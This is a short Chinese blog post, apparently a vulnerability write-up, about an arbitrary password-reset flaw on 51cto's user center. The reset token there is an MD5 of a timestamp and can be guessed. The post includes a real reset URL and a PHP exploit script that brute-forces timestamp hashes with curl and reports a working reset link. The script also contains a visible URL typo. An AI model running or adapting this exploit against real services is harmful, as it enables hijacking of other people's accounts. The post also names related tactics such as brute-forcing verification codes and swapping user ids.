这个任意密码修改已经发现一年多的时间了。 今天准备演示呢,结果拿出来测试的时候失效了。为何可以任意密码修改,如下http://ucenter.51cto.com/setpass.php?id=6330
.
这个任意密码修改已经发现一年多的时间了。 今天准备演示呢,结果拿出来测试的时候失效了。
为何可以任意密码修改,如下
http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe
这个是修改密码的链接
存在漏洞时候的unid=0a35749ac3f8dc33c307e504448625fe这里的unid是时间戳之后md5加密的,只要我们知道用户的邮箱、就选择找回密码、猜解发送给用户的url、就可以修改密码了。
exp:
<?php echo time().'<br>'; for($a=1;$a<=40;$a++){ //获取当前时间戳加一 并且使用md5加密 $b=md5(time()+$a); //初始化curl $ch = curl_init() ; //设置url路径 $url="http://ucenter.51cto.com/setpass.phpid=6330498&unid=$b"; // 设置你需要抓取的URL curl_setopt($ch,CURLOPT_URL,"$url"); // 返回结果,而不是输出它 1为返回结果 0为直接输出(不明白的请看http://0x007.blog.51cto.com/6330498/1226301 ) curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); //发送curl请求 $result = curl_exec($ch); //字符串匹配 if (stripos($result, '确认密码:')) { echo "ok"."<a href=$url tar>您的修改密码连接为</a>"; } curl_close($ch);}?>
一个逻辑漏洞而已, 任意密码修改的还有很多的例子、比如爆破验证码、比如找回密码的id可以替换他人的 、等等。
.